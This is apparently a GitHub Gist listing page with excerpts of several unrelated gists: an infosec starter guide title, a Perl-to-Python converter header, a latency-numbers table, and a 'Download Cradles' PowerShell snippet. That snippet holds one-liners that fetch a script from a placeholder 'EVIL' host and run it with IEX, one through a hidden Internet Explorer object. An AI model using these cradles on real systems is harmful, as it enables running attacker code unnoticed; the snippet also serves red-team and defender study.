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@mubix
mubix / infosec_newbie.md
Last active April 7, 2024 22:35
How to start in Infosec
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 24, 2024 06:54
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@pdl
pdl / pl2py.pl
Created October 23, 2012 14:28
Convert perl scripts to python with the awesome power of regular expressions.
#!perl -w
=head1 NAME
pl2py.pl
=head1 DESCRIPTION
Attempts to convert perl scripts to python with the awesome power of regular expressions.
@jboner
jboner / latency.txt
Last active May 28, 2024 18:39
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD